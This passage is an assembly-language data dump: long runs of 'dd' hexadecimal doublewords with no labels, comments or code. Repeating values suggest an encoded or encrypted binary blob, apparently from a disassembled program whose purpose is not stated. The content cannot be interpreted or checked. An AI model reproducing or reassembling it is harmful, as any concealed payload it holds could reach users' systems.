		dd 52156611h, 9749D03h,	2796AAC1h, 15906924h, 3D156611h
		dd 32156B0Eh, 321D8F44h, 0D8D66622h, 3438A308h,	0BFE0B33Bh
		dd 6A92A2C1h, 33956922h, 0C7156611h, 0CDFEB361h, 0B72E93BBh
		dd 3400E5F2h, 322FE31Eh, 0BFED6688h, 6A9D5CC1h,	32078F22h
		dd 6EC76611h, 0C0971C51h, 51AD4E5Bh, 0C5F125E6h, 0F79801E8h
		dd 3212EF87h, 3D756644h, 6D47B195h, 0D98D8F70h,	87759977h
		dd 0E3F5E7C4h, 53059475h, 0B1C1E32Ah, 0B71A609Dh, 3215660Eh
		dd 3208E72Dh, 3D756611h, 20FDA83Fh, 39156644h, 0FCA33447h
		dd 8A21D4D0h, 35D98AC7h, 3DCACFC8h, 0BF743CB7h,	6A9D1994h
		dd 3BFC0688h, 0DE156644h, 0EA5002A1h, 0CA065B33h, 0A3E3E7EEh
		dd 0DFC07CEh, 3DEA99C9h, 32156790h, 0DE949388h,	32156640h
		dd 6A3162ABh, 321574F8h, 2A18788h, 0B043DFCh, 7E044205h
		dd 8851D079h, 0DB2BEA2Eh, 32156656h, 42DCFD1Bh,	23206B1Fh
		dd 0E39D97FBh, 3F9CB067h, 307D8E54h, 0B9156611h, 0F69442BCh
		dd 32156640h, 3DE36DD7h, 32157594h, 35916988h, 3D156644h
		dd 321567AAh, 93FC9A11h, 0CEEA9962h, 0BB118AC7h, 524B4226h
		dd 9CF6E777h, 0BD1A35DDh, 32156644h, 879C077Ch,	341B48CCh
		dd 32156361h, 46538944h, 879CC225h, 341B4B20h, 32157461h
		dd 0B4815544h, 8B5E2418h, 50D99FABh, 29F73D8h, 0B20CB7FAh
		dd 0B71A8F1Ch, 321566ACh, 3214E887h, 0B1EC6644h, 369C62CEh
		dd 3214DE35h, 0C2146688h, 3D4D5ECFh, 32156CA3h,	8D1A0611h
		dd 68B7DC59h, 0B37416E0h, 161572CDh, 63E2672Bh,	16157231h
		dd 6BDA677Eh, 32156CCBh, 896A1E11h, 6889AA1Bh, 643FBAA7h
		dd 0B1317AA9h, 0DB7562D5h, 3215669Ch, 0C43D0B00h, 0C5202581h
		dd 675F9FF1h, 0DE135AEDh, 6B09C71h, 89463443h, 7F9F4542h
		dd 0B8763532h, 69CF5709h, 0DB4FB523h, 32156602h, 1DC6F266h
		dd 0FEC3AA49h, 1B035D3h, 0D64BC07Dh, 942BBE8h, 3C3BBBF9h
		dd 2A976924h, 0DB156611h, 32156682h, 4B94E9B0h,	0E7FBD76Ah
		dd 0C92EEEE3h, 3212E087h, 0DBED6644h, 0CDEA8FBAh, 7A8EDE8h
		dd 3D136890h, 321561C8h, 33986922h, 0CA156611h,	2988E34Fh
		dd 3215604Ah, 85756622h, 527507BAh, 32157561h, 0C4494744h
		dd 7D1B242Dh, 1DC3E773h, 0CCA50E7Eh, 317D498Ch,	321568CBh
		dd 0FE266311h, 0C36F8834h, 0FD9847D5h, 532B163Bh, 32156FF8h
		dd 141E6E88h, 619568C9h, 879C9168h, 341B4B20h, 3214E587h
		dd 0BFE96644h, 241D30BFh, 3E926917h, 3D156688h,	321560CAh
		dd 32986922h, 0CD156611h, 0E29E065Bh, 53C2D94Bh, 0B61AA629h
		dd 32156602h, 326D8F70h, 52756644h, 10C8DFDEh, 0B27457FCh
		dd 0BF745165h, 21B7C8D9h, 0B41A0624h, 32156604h, 32157661h
		dd 0D4561844h, 0BDAFD960h, 0E7AF8B66h, 0D5FE68EEh, 0E1EA0708h
		dd 0CD99E52Dh, 52E099EEh, 54479E03h, 534CBECFh,	1F24D3A9h
		dd 0BBE9601Fh, 3C0EFB3Dh, 32128F42h, 0B9D86622h, 47BE3DEBh
		dd 0C588EBC0h, 521372DCh, 3216E72Dh, 851A6611h,	53750643h
		dd 0E4FFE722h, 0CD740764h, 0B79E9EC2h, 341B4855h, 38FD06B1h
		dd 6C156622h, 0E37FDE38h, 36467CA5h, 6B54D62Ah,	53EEED44h
		dd 1F24E398h, 21FC6086h, 0BA156644h, 0A4725AF6h, 9C381BCCh
		dd 85E94CEAh, 0A37F9EFCh, 3D74D0A6h, 3215679Eh,	0C959E88h
		dd 269069ACh, 0DB156623h, 3215661Eh, 6533E35Bh,	0C8C4671Dh
		dd 5A1E5C1Bh, 0B178D39Eh, 3C3CFB35h, 0B61A6642h, 321566D1h
		dd 32128FE8h, 9B276688h, 0C8C87371h, 6338D69Fh,	0EFE382A4h
		dd 0F28D8308h, 0F7EB61A1h, 0C795A3DCh, 6BFD4699h, 8831AE76h
		dd 3D757F68h, 0B91AB895h, 32156617h, 0DA339609h, 987428CDh
		dd 369E30D7h, 36D1E735h, 0CE156688h, 0DA940024h, 22FD40E0h
		dd 5E156611h, 0D5DDC0B6h, 94CCA647h, 3E77203h, 543C8656h
		dd 694EBC36h, 604E4B25h, 0CA3C5976h, 70A7DB44h,	0F7942FA7h
		dd 7C063E7Dh, 0C794BBD5h, 65FC515Fh, 0CA488E89h, 3211D812h
		dd 0C4386622h, 1B215F05h, 26E36378h, 0DB4B527Dh, 3215662Eh
		dd 0A56795D7h, 0F41250E2h, 5862A0C7h, 0B71A9A89h, 3215660Ch
		dd 0C59400E8h, 23FC57ECh
		dd 7E156622h, 1C8DFF94h, 16571BF8h, 0D6A47846h,	8CBFA19Fh
		dd 30F78F70h, 0BF1A6688h, 32156653h, 321574CBh,	0D83B3411h
		dd 324EFFCEh, 0C2DC7D53h, 84ED4212h, 0BFC3F4C5h, 27FAFC15h
		dd 0D0940642h, 14B6AA84h, 32078F47h, 6D566688h,	0D07C562Fh
		dd 84927EF8h, 0D266ACF8h, 8742C42Dh, 0E1EA071Dh, 8C739E42h
		dd 52744216h, 0E084D8EEh, 46AD0024h, 0FD9E0063h, 0AF980770h
		dd 34036596h, 321EE94Bh, 0B2756622h, 0B11A27CAh, 32156688h
		dd 0D8940625h, 544DDF9Fh, 52C69970h, 329969DAh,	69156644h
		dd 536887A2h, 0B71AA61Ah, 321566CFh, 3209E04Bh,	0B51A6622h
		dd 32156607h, 32157761h, 3D798C44h, 0FF145B7Ah,	8BE9B2D9h
		dd 981334DDh, 79FC09B3h, 52156622h, 321575F8h, 14CD9F88h
		dd 0AA59C788h, 0F5C87689h, 0FB5A5D1Bh, 76F48BF4h, 421584C5h
		dd 0B1744B53h, 3C385794h, 0DB75638Eh, 32156657h, 9B9763h
		dd 0CD91AE8Ch, 57E8556Ch, 0E91B7050h, 54355C6Eh, 532790AEh
		dd 0CDE89B61h, 0AF9893BBh, 3403634Eh, 321576F8h, 78E00488h
		dd 0D376E53Dh, 2F50F540h, 0F2DBE1B1h, 0DBC69972h, 3215664Bh
		dd 0F9147596h, 2B530C56h, 0BAC96FE1h, 0DB0CAF96h, 3215662Fh
		dd 7F58E164h, 4D791C03h, 378E534Bh, 3DD56DEFh, 32155594h
		dd 32018F88h, 0CDD16644h, 0CA2D8F06h, 2FA786FBh, 515D0DFFh
		dd 980AC250h, 72FCB344h, 0DB156611h, 32156698h,	1D3FE138h
		dd 2BAA91D8h, 5784AB51h, 1C3DD338h, 36AA3112h, 0BB156622h
		dd 0C01439EFh, 7FFC9FD6h, 0DB156645h, 32156631h, 0B5BF9000h
		dd 0AA0E4E30h, 8739A654h, 93F1432Eh, 0BFB1C725h, 21B7C815h
		dd 359E6942h, 3D156622h, 3215679Bh, 0BB1A9E88h,	32156645h
		dd 3DC699DAh, 32155692h, 879E9388h, 341B4B75h, 321561CBh
		dd 773A1D11h, 116A56B9h, 32156FADh, 0F8A7E122h,	0DF454C7Fh
		dd 0D3FC11E5h, 3D15666Fh, 321562A1h, 68430611h,	398EDE9h
		dd 3D136869h, 32157BAAh, 20FC0611h, 18156688h, 371331E9h
		dd 0B2EAE6A8h, 36510E0Bh, 0C253D501h, 0AAA00B3h, 879C07F4h
		dd 341B4B20h, 32058FE8h, 0C1666644h, 144826ABh,	748258AEh
		dd 6C81CDE4h, 0B41A1A4Eh, 32156620h, 0B37478A6h, 91759061h
		dd 0AED4E773h, 1B686469h, 0AEFCE7E0h, 0B36864C3h, 91759085h
		dd 0BE1A0615h, 32156617h, 327B709h, 0EA940F71h,	4C7A65BAh
		dd 32150E70h, 3E3C6688h, 1619ED60h, 3211A2A3h, 39FC6611h
		dd 0A156688h, 0F396EBBh, 9083842Fh, 0DC94DA3Bh,	0C7C14EFh
		dd 4763A0C5h, 0FC3C2562h, 47638890h, 0F49425C8h, 0C7C1423h
		dd 321EE92Dh, 34FC6611h, 0E4156688h, 8365749Bh,	32188F84h
		dd 7BC26611h, 1A74AD93h, 7C89665Eh, 0C18BFD3Ah,	2DFC9EB5h
		dd 0CAEA9974h, 0A874FBC9h, 3DE96036h, 32156891h, 321C8F88h
		dd 0E05D6644h, 808047ABh, 0CD62A4B1h, 321F8F5Bh, 0A04F6644h
		dd 11D0090Eh, 0A0ACD53Bh, 67E8EFDDh, 643152C5h,	6A27C037h
		dd 94003024h, 34FC3BBAh, 0CC156644h, 0DA67ECFDh, 7904D2Eh
		dd 52136890h, 8D1ABECEh, 0B79C07E8h, 341B57D8h,	32058EE8h
		dd 94956644h, 28115948h, 8ACE3C35h, 519359D4h, 8C73DB7Eh
		dd 0B34F5F24h, 7F9260F7h, 0B79E07BCh, 341B7E71h, 32188E42h
		dd 56786611h, 4C870A37h, 2981B020h, 6A19F176h, 0D39C3770h
		dd 3211A709h, 0DB946644h, 32156626h, 6E316A96h,	3D315A01h
		dd 321570C3h, 32048F22h, 81E6611h, 0A5AD4A9Dh, 0D970F54h
		dd 2DE1938Eh, 630A572Bh, 0F3948701h, 32156640h,	32118FA3h
		dd 3E926611h, 369C3AACh, 0BF989E60h, 3401FA75h,	32156EF8h
		dd 6E89E888h, 475E18A7h, 0DBC499CAh, 3215661Fh,	2EBBD91Eh
		dd 55F7E209h, 0A1985B8Eh, 0B79EA94Fh, 341B48F9h, 3209E64Bh
		dd 0DA756622h, 32156602h, 0BA9EED74h, 8C54D37Fh, 3EC90B52h
		dd 54F90F33h, 688FECFFh, 0FE7D07B1h, 0BB15663Ch, 5AEC4215h
		dd 32152918h, 0CB315ACDh, 2A20E3A9h, 67E9601Fh,	0F7948301h
		dd 32156640h, 32118BA3h, 1E926611h, 369C3AACh, 0F99E0660h
		dd 5A98EB43h, 3D13728Ch, 32156101h, 33956944h, 0CA156622h
		dd 0BD1AB7EEh, 3215669Dh, 321576ADh, 21AAD722h,	8BB27B73h
		dd 304D1896h, 0EF79660Eh, 269E36A9h, 36D1E735h,	52156688h
		dd 1843DD22h, 53E4D92Dh, 0D8A49F71h, 0BB4634E9h, 69CFEF87h
		dd 524FB7ABh, 0CFD4E7E8h, 531DF301h, 1C64EB6Fh,	38FC602Ch
		dd 0D0156611h, 0B475C116h, 7ECA963Ah, 83A8E55Ch, 32136830h
		dd 32D5E287h, 39FC6644h, 0E2156622h, 5FC1D119h,	0A392AF70h
		dd 0B79EFC3Bh, 341B45B3h, 32128F71h, 38306688h,	0B95E42D5h
		dd 349769EAh, 3D156611h, 32156604h, 0B73E0744h,	341B4793h
		dd 3204E91Eh, 3EFC6688h, 1E156644h, 7FE6B170h, 9F4E42F0h
		dd 92B93B6h, 59936985h,	0CB156622h, 1E70E39Ah, 0B9756086h
		dd 92AB008Eh, 20FC07F1h, 80156611h, 0ECB81DB0h,	1261433h
		dd 0DD6257A0h, 87CCA786h, 8390651Fh, 0DB136865h, 32156632h
		dd 0E6E2BF72h, 9FF9A5h,	911BC885h, 0BCDFB479h, 4390EFEDh
		dd 0C713689Bh, 33C68FBCh, 0B81A6622h, 32156607h, 32157761h
		dd 3A730144h, 8EEB5ADFh, 424BBC31h, 55A2A745h, 0BB42C8AFh
		dd 36D2E7C5h, 0B3156611h, 32156267h, 1629E144h,	1619EF7Eh
		dd 349A6971h, 3D156688h, 321566C8h, 32018E22h, 9B4C6611h
		dd 448C2DEAh, 0A6EB82D8h, 39CBFF81h, 617747BDh,	0E994CF24h
		dd 5F82EE9Ah, 0DE96077Dh, 1621EF15h, 0C29CA801h, 8D429F1Ah
		dd 32156623h, 0CB4A9E38h, 32156F61h, 0B425C444h, 0A1F5F7ECh
		dd 67437CD2h, 321A9935h, 6FFBEF44h, 0DB4B962Bh,	3215661Ch
		dd 1AC277D9h, 6522BEE4h, 662C2A52h, 33AC37BCh, 33156688h
		dd 0BBED3F8Ch, 3C36F7A7h, 0B7149A17h, 341B649Dh, 321C8F24h
		dd 81F6622h, 6F0C74EFh,	0CBD0798Dh, 8C730625h, 90AB0592h
		dd 532697B4h, 13A4E34Fh, 3215604Ah, 0B41A6622h,	3215661Dh
		dd 3213E887h, 0B51A6644h, 32156622h, 320DE41Eh,	21FC6688h
		dd 32156644h, 31890572h, 0D776C176h, 4757D263h,	79AEF11Dh
		dd 727FA4D2h, 327D93E4h, 0CB156698h, 3277AF2Ch,	1619EF22h
		dd 7DCBE771h, 52732585h, 0FAD6E722h, 58740713h,	321C8F11h
		dd 8B9F6688h, 0B6E8861Fh, 0CD01C0B0h, 3C194784h, 32048F8Eh
		dd 7A106644h, 997E3E6Fh, 6B004F34h, 81A461FFh, 0DBF45ACAh
		dd 32156630h, 0E50CDADCh, 0F6B8FF68h, 5CF71321h, 0ED0019F0h
		dd 0A7EAA9CAh, 341B7B69h, 321563ADh, 7D690522h,	0B79CAC91h
		dd 341B4AEDh, 3203E24Bh, 23FC6622h, 0AE156611h,	2A609D12h
		dd 80281D6Ch, 0A4347BAh, 54AF62CEh, 2164E301h, 0C7ED604Ah
		dd 6B3152DDh, 3211A290h, 0BB1A6688h, 32156651h,	321576CBh
		dd 2AFC2211h, 2A1B73E4h, 0A95B571Fh, 6AB99286h,	43A099E1h
		dd 0CB13689Bh, 1C64D3BBh, 35FC602Ch, 3F156611h,	0AD1DAEB9h
		dd 0BB46857Bh, 36D6E7C1h, 0B1156611h, 2E926263h, 0E9C3A60h
		dd 32198F06h, 0D08B6611h, 0DE4D5EC1h, 80C763h, 87EAC650h
		dd 341B7E24h, 379869E8h, 89156644h, 5A85A870h, 321F8F70h
		dd 0C546688h, 4278DA65h, 0BDE18300h, 8553E39Ch,	0BB1A609Ch
		dd 32156640h, 533AD542h, 32156DF8h, 2D04CF88h, 3D0DB435h
		dd 9B429096h, 0B01AB6EEh, 32156684h, 321561ADh,	0EC26C922h
		dd 451E112Ch, 13A4EB89h, 8A75604Ah, 26487AA5h, 8F9E07E4h
		dd 341B75F9h, 309A6924h
		dd 52156622h, 31926970h, 0B2156688h, 0B97455B4h, 3C3B1797h
		dd 96E69F17h, 32157761h, 0CC61344h, 0FCA04061h,	12622A97h
		dd 71CDAA87h, 0B31AA69Ch, 32156623h, 17A0EDE9h,	0DB136890h
		dd 32156657h, 0BF076C8Eh, 0BD2304D3h, 215E6A3Bh, 19FF230Ah
		dd 9FD18C56h, 32156CF8h, 6B451088h, 0F6808D20h,	6773652Fh
		dd 557548ACh, 72E0E7B8h, 0B3042762h, 145308CFh,	749A3330h
		dd 54753B74h, 0D853B4C5h, 37D5A743h, 321577F8h,	99B9D388h
		dd 833A8110h, 0BF893309h, 4D6D638Dh, 8C43F533h,	7E7B697Ah
		dd 0B171500Fh, 37E56716h, 359602BEh, 0DB74061Ah, 32156627h
		dd 75A5818Eh, 37906571h, 0DB136847h, 32156629h,	0D7B66676h
		dd 6B669FA3h, 0B90B19B1h, 3C0617AFh, 3E966917h,	3D156688h
		dd 321560CDh, 32926922h, 64156611h, 29CA801h, 0B13152CFh
		dd 0DB7562E6h, 32156618h, 0D84ADA23h, 84BAD959h, 39FC3663h
		dd 2B156611h, 0A01596F1h, 24BDBDEEh, 534DC698h,	3D759ABCh
		dd 3BFD9537h, 3D156644h, 0F14C1F82h, 83C69009h,	534E6A38h
		dd 4EB2D913h, 74D25C08h, 8E1A74EDh, 0CE6B5794h,	0CE63E71Bh
		dd 14831597h, 269A69E4h, 52156688h, 38FDBFCFh, 0DE156622h
		dd 1D2ECC63h, 5EAE7C0Dh, 0BB743F8Ah, 3C0D4397h,	53ED0617h
		dd 3DEA9E0Bh, 3215CBC1h, 23FC0622h, 1F156611h, 34DEBC4Fh
		dd 0A02D5575h, 0A12AE9D0h, 3FA9A721h, 3D74D839h, 321577C7h
		dd 32198F22h, 0AB506611h, 0D05BA050h, 2C1FF69Dh, 0C94ED2Bh
		dd 0EFC8BBCCh, 3265E387h, 0B81A6644h, 32156623h, 36F9E7EDh
		dd 0BB156688h, 0DAF4250h, 0F3036075h, 0D0D461FBh, 0D2E7E78Ch
		dd 0BB17A68Eh, 0B01A3C34h, 32156616h, 3214E787h, 61ED6644h
		dd 32156299h, 0B8D3E711h, 336632CBh, 0B8FBE79Ah, 69663261h
		dd 17A0EFEDh, 52136890h, 32156CACh, 6B4EA622h, 20BD919Ch
		dd 3D0AC19Bh, 321566C4h, 72AD3D22h, 531B4BDEh, 0CDC67161h
		dd 0F2D49ABBh, 851A0621h, 5300D3EAh, 3110E38Bh,	0B41A604Ah
		dd 32156633h, 321EE71Eh, 34FC6688h, 5A156644h, 4F2F45B7h
		dd 73A8E545h, 33136891h, 31B0E24Bh, 61756622h, 534A979Ah
		dd 98BF5809h, 0B71ACCEEh, 321566B1h, 0C1AA6971h, 329A69E8h
		dd 52156644h, 65740743h, 0C61DE41h, 5F3807AAh, 1F2BB026h
		dd 3C562479h, 3A8CCE3Ch, 6AD2EF9Ch, 0CE4A9845h,	3215D975h
		dd 0BD426611h, 0CB4A9ACEh, 0F5249E75h, 38FC9E13h, 68156611h
		dd 28530B6Ah, 94A9A27Ah, 321B8F4Ch, 4E086611h, 0C7B0A369h
		dd 551F8DB7h, 0BA19E426h, 0BAFCD142h, 1609ED70h, 3D11A2C7h
		dd 32156AA9h, 32128F11h, 0B0EA6688h, 0FCC3A841h, 32588F03h
		dd 3EFC6611h, 5C156688h, 8B329219h, 9A516ABCh, 3E09E28h
		dd 3D25770h, 32018FBCh,	8E186622h, 3603FCC8h, 53E2DA0Bh
		dd 192FBFD8h, 560EE286h, 81463C8Ch, 1EB1D634h, 36CD4E64h
		dd 0B71A3D02h, 3215661Ah, 32156061h, 1F977144h,	61BB342Fh
		dd 0F1948598h, 3215668Ch, 0B5118DC7h, 0BB49423Eh, 0B81A4215h
		dd 32156684h, 321561ADh, 12158822h, 0DB36942Fh,	2D44DB0Bh
		dd 3D14604Ah, 321470A6h, 32138F11h, 5E816688h, 89360255h
		dd 3315D975h, 6A426611h, 3A9F69D7h, 3D156644h, 321564ACh
		dd 0C7740611h, 0B1F1DB0Bh, 3D156051h, 321524A6h, 0D2AE0611h
		dd 0DB39A0A4h, 32156643h, 0CB9C7C61h, 534B7A20h, 0FE88FB05h
		dd 0CDE96050h, 32198FF1h, 0D42D6611h, 0F46191F1h, 0CF01DCE6h
		dd 22FCEFF2h, 0D3156611h, 89DE0352h, 0E42E351Bh, 0B49A0513h
		dd 0B2BEE122h, 0B61AF6B7h, 3215666Fh, 0F89E0042h, 0F8EDD77h
		dd 37A833E9h, 33156644h, 1639EDCDh, 3211A290h, 0CBE96688h
		dd 321490ADh, 32108F22h, 5CCE6611h, 0B1074EA1h,	0B01A36BCh
		dd 32156645h, 321575F8h, 97E20688h, 5BBEA96Bh, 0E27F87F9h
		dd 8F09988Dh, 23A2FDC7h, 32295B2Ch, 1601EF22h, 0E29DF6A3h
		dd 98E09ED2h, 321561ADh, 9E961222h, 2224C3A8h, 6A315277h
		dd 0C711A2C7h, 54759F88h, 0E7DAA690h, 0BFFBE7EEh, 0C4FC0718h
		dd 0DB156622h, 32156619h, 0C57A2895h, 53B35Eh, 3210E12Dh
		dd 63756611h, 0CD749AD3h, 0B14D4270h, 0B01A62E6h, 3215661Dh
		dd 3213E187h, 0B61A6644h, 32156622h, 0B41A06BBh, 3215668Ah
		dd 0B2740724h, 3DFC995Dh, 3215D694h, 0DC950688h, 53CBD115h
		dd 0B1F1DBA1h, 3D156004h, 32150A0Ch, 269A6944h,	0DB156622h
		dd 3215661Eh, 55C2408Dh, 80D75B8Fh, 6FC5B715h, 0CA2B7627h
		dd 0F95BFB05h, 54756050h, 20FCB8A9h, 58156611h,	81CBF70Ch
		dd 674F20E9h, 0B24F45D7h, 0E8B3963Eh, 22FC076Ch, 0DE156644h
		dd 549567Ah, 93938BDAh,	21F820CEh, 0CDBAA12Ch, 32068FF1h
		dd 11816611h, 1B747C63h, 0D7FA930Dh, 97A239DDh,	0AA9A73FEh
		dd 46E60EDCh, 269C6644h, 3211DC06h, 0C8146611h,	3D4F6400h
		dd 32157EC3h, 32068F22h, 73386611h, 5BA80CEh, 586976E0h
		dd 0EAB8C30Fh, 0E00E0CEBh, 4390ED02h, 52136857h, 35C5BCA3h
		dd 3CFC3254h, 24156688h, 0F29A2BCDh, 186EB957h,	44D14ECAh
		dd 0F2100799h, 1F1D665Fh, 7FB464DBh, 0CB109E38h, 1F58C78Ah
		dd 3A157D84h, 3219EE2Dh, 0B01A6611h, 3215668Eh,	3215E34Bh
		dd 0F57D6622h, 0BB15667Fh, 36AE4294h, 1B156644h, 34FC3DFAh
		dd 98156611h, 0A446AA70h, 3D75CD95h, 321563ACh,	0B9AEDC11h
		dd 3D753EF9h, 321566C2h, 0FA940022h, 537425A6h,	320CEA87h
		dd 26FC6644h, 0CD156622h, 0C6BC1558h, 0DB50F11Bh, 6712FDFBh
		dd 31F850B2h, 9FEA0997h, 321DEA87h, 0B2756644h,	0B973B7C0h
		dd 884707CBh, 0CDEA9974h, 30D29445h, 45BA025Bh,	10D464EEh
		dd 3037A78Dh, 0F154CC5h, 3D4FB190h, 32156A98h, 349E6988h
		dd 3D156644h, 321566ABh, 0C9308F11h, 0DA759977h, 32156648h
		dd 0CD5C857Fh, 0F4920EC2h, 2504778Bh, 0EBBA8DC5h, 3D4C469Bh
		dd 32156996h, 321F8F88h, 54856644h, 0FAD2DD31h,	91A585DFh
		dd 17A0EFE9h, 0CE13685Ch, 0B3F0EF77h, 321562D4h, 36F8E788h
		dd 0B5156644h, 0BB49420Eh, 0B91A4205h, 32156680h, 32976924h
		dd 53156622h, 32956679h, 0D4940688h, 2774D14Bh,	53EAD12Dh
		dd 0BC1A667Bh, 32156689h, 87A099B1h, 0C713683Dh, 1A8F3EEh
		dd 3EFC6086h, 26156644h, 5C36CF8Ah, 0C48378B0h,	0CD889E19h
		dd 0B14F4270h, 817562E6h, 321D8F49h, 75FB6688h,	152DE893h
		dd 0B97497DFh, 3C18879Ch, 0B81A068Eh, 32156641h, 7EE5C49Dh
		dd 5307D455h, 3215DDDBh, 0F9146644h, 5B8D0E70h,	0B34F7257h
		dd 747CFE62h, 6806EF50h, 321D8F79h, 9E456611h, 0E8D0D27Ch
		dd 5A409305h, 32156626h, 6FFC674Ch, 3206EC87h, 3CFC6644h
		dd 5156622h, 7FE73E9Fh,	9F2A6F82h, 0BB007F9Eh, 0D398EFE0h
		dd 0DB13681Ch, 32156682h, 53C38D4Bh, 42C34EEFh,	0D5FC8EA4h
		dd 3DEA994Eh, 321572C9h, 321A8F22h, 5A356611h, 3FF918C2h
		dd 145DBE7Fh, 452AF5DEh, 1B278F8Ch, 0B31A6688h,	3215664Fh
		dd 321560CBh, 7436A711h, 52A75868h, 3214EB4Bh, 0B9E96622h
		dd 3C18879Ch, 3FFC9E8Eh, 156644h, 0C3B53105h, 0E9A9A1CEh
		dd 771E5B42h, 69457BBh,	0F11BFE06h, 1619ED23h, 0B311A20Bh
		dd 0F11BFEB5h, 38FC9F10h, 7D156611h, 0DF17ABEBh, 71392013h
		dd 0D298EF6Eh, 52137392h, 32156960h, 404AF244h,	0DE702349h
		dd 15DCBEB3h, 4D5A277Ch, 32156AACh, 0EE8CA722h,	740F58E9h
		dd 9D1642C1h, 534F3DAEh
		dd 665B5EA3h, 0B71A2A55h, 3215663Bh, 4A9400B8h,	3D3B2A26h
		dd 3215C094h, 321E8F88h, 0A46D6644h, 380F4C7Ah,	0C581C401h
		dd 0F4950621h, 32068F47h, 0E47B6622h, 73ADC03Fh, 3A1BE3A3h
		dd 99225D1h, 11877D08h,	0BB4707D8h, 0B9C3EF4Ah,	0F6944250h
		dd 32156626h, 0A4C2E771h, 0DB60628Fh, 32156656h, 37382C43h
		dd 0C4697ABEh, 1B5B09E7h, 2171A70Ch, 0CB742193h, 0BB118A92h
		dd 34AE4294h, 33156644h, 0BD1A3DFCh, 32156600h,	32156A61h
		dd 15DD0044h, 0CDBF78EFh, 0DE69F49Bh, 5390EDE3h, 0CB13685Fh
		dd 3211BBCBh, 269D6911h, 52156688h, 32156FACh, 323C5022h
		dd 0DEE052C4h, 3D4EF1DAh, 6274A1FBh, 7A3152A3h,	0B955DC36h
		dd 0F69442BCh, 32156640h, 155D90A3h, 5AE026ABh,	32156875h
		dd 683162CDh, 32156ECBh, 8BC65811h, 40D1827Ah, 3DDC5716h
		dd 32157EACh, 32068F11h, 1B856688h, 1459C1AEh, 0CCC701EAh
		dd 0A49C076Bh, 0D0DEA077h, 0C7ECCAB0h, 0B61A661Eh, 321567A1h
		dd 320DE287h, 21FC6644h, 4C156622h, 8FA726E9h, 7325753Dh
		dd 886411B7h, 2CEEB363h, 1F296319h, 0CDDAE287h,	3FFC99BBh
		dd 8156622h, 0F8F11ED5h, 66F63468h, 248CCDDBh, 0B61A481Eh
		dd 321566B8h, 3D255A74h, 3211C8C6h, 321D8F22h, 0F0F46611h
		dd 0E4FBC666h, 0B29B3EAh, 0CD82E02Dh, 3BFC99EEh, 6A156688h
		dd 68B7C00Ch, 0C14FA0Bh, 3D545AE9h, 3211E40Ah, 68299F44h
		dd 0CD62E02Dh, 0B27599EEh, 0C6957F65h, 6D2907AEh, 0CD72E22Dh
		dd 0B31A99EEh, 32156694h, 32068E24h, 2E5D6622h,	2D1F75D6h
		dd 0DF185078h, 0CC3D430Ch, 9D6B39D2h, 53EC3FAEh, 0B01A07B4h
		dd 3215627Bh, 894F3042h, 74FE18F3h, 3D6F5AE9h, 0CDEA4AC2h
		dd 349969DDh, 52156611h, 0C09E9403h, 36088F25h,	38FC6622h
		dd 6E156611h, 0AC156A92h, 3661AB31h, 33AD361Bh,	33156611h
		dd 0BF1A3E4Ah, 32156645h, 2B9769D7h, 0DB156611h, 3215669Ch
		dd 0EF8F708Ch, 6C26497Bh, 0C31C92FEh, 0B6C7234Eh, 0DB0DBA7Dh
		dd 0B61A941Bh, 321565C6h, 320EEC87h, 0DB756644h, 32156630h
		dd 0EA6AB948h, 0E35F3B74h, 0EF6299C9h, 72152836h, 53752F7Bh
		dd 33AD36E9h, 1B156644h, 0CE753EE0h, 0F9D9B090h, 627466B6h
		dd 7C7DACFCh, 0E2E22627h, 0E0595034h, 55EA43FEh, 0F9101599h
		dd 1B9809D9h, 54753ED0h, 0B99A2333h, 0DB75078Fh, 32156632h
		dd 0AD5200EDh, 478887ECh, 3910274Eh, 0FA90734Fh, 321F8F43h
		dd 0CF4A6688h, 84736BBDh, 6F23A698h, 60FC0749h,	3DEA9976h
		dd 321561C7h, 0F2950622h, 53B7D70Dh, 0B61AAF0Dh, 3215657Bh
		dd 321575CBh, 339A1211h, 0BA9CCDA7h, 25ACA1Dh, 9E867EFh
		dd 0DF8D08F9h, 21D0D305h, 0BD1A604Ah, 32156623h, 69434E9h
		dd 981807ACh, 8F403F05h, 73BF6B43h, 3D488F20h, 32156102h
		dd 33926944h, 0CE156622h, 3270DE79h, 1601EF88h,	753152C5h
		dd 6D5EF654h, 44529190h, 61EC2D18h, 0EA9D48F7h,	0B3317AA9h
		dd 321562D5h, 47BB9E88h, 3FFC9AB9h, 0E8156622h,	13739837h
		dd 0C3DA33DCh, 26BBC1E8h, 321575CBh, 0C84CA811h, 0FD627779h
		dd 0C5EBFFC7h, 7EE51341h, 176663A8h, 5901A709h,	0CB3C4A4Dh
		dd 41EBDE72h, 36186F08h, 72E15EFh, 303F16FFh, 956F5607h
		dd 5B016303h, 0F33C7A80h, 339A691Ch, 0C7156622h, 0E4E29796h
		dd 52E4E1CEh, 54CED94Bh, 56F6AFA3h, 6EAE3570h, 1B27F7BEh
		dd 0FD3C3D9Bh, 449A1A3h, 54755480h, 0F49EAD03h,	3E25725h
		dd 3DE257DCh, 32157099h, 32048F88h, 0A42A6644h,	0A496F007h
		dd 0AC4C4CD0h, 9C4DAC24h, 0C1CF8E23h, 3E916986h, 3D156611h
		dd 3215600Ch, 329B6944h, 0B1156622h, 2E9C62FDh,	0F47ED5ACh
		dd 1A7E9903h, 3D4E997Dh, 32156194h, 851A0688h, 534C3492h
		dd 21D0F3AFh, 0B9E0601Fh, 3C17C70Dh, 851A0642h,	321D8EFAh
		dd 31846611h, 0DFF03342h, 69E9B2B4h, 3DD5E343h,	32152C94h
		dd 0B7D39E88h, 341B4955h, 5AE09365h, 0E68FC1C3h, 32156F61h
		dd 0AF30B144h, 0F7EF33B3h, 87EAEDD1h, 341B6AB5h, 321577ADh
		dd 3BD6BE22h, 8C1DF7B7h, 9B9439F1h, 0A532943Eh,	0B798F2EBh
		dd 34040965h, 339A6974h, 0CB156644h, 5AE0B6DDh,	3215752Dh
		dd 3D317201h, 321568C6h, 321C8F22h, 0F7A16611h,	45E02752h
		dd 0CD48C697h, 54E006F2h, 0D9C78D90h, 0F2909AE9h, 32C5E34Bh
		dd 52EC6622h, 83DCE777h, 0BEC6E79Fh, 537E38D3h,	2E84E3A9h
		dd 0B7E9601Fh, 53906948h, 0DB156644h, 32156628h, 4C92F67Dh
		dd 0A68E388Fh, 0B7D3F9CAh, 341B4933h, 3A9D695Dh, 3D156688h
		dd 321564C0h, 5A740622h, 0EBCF7AF8h, 0DD9400E8h, 80758BD2h
		dd 0E839D93Ch, 53745C79h, 3E28D377h, 3AFC604Ah,	9E156622h
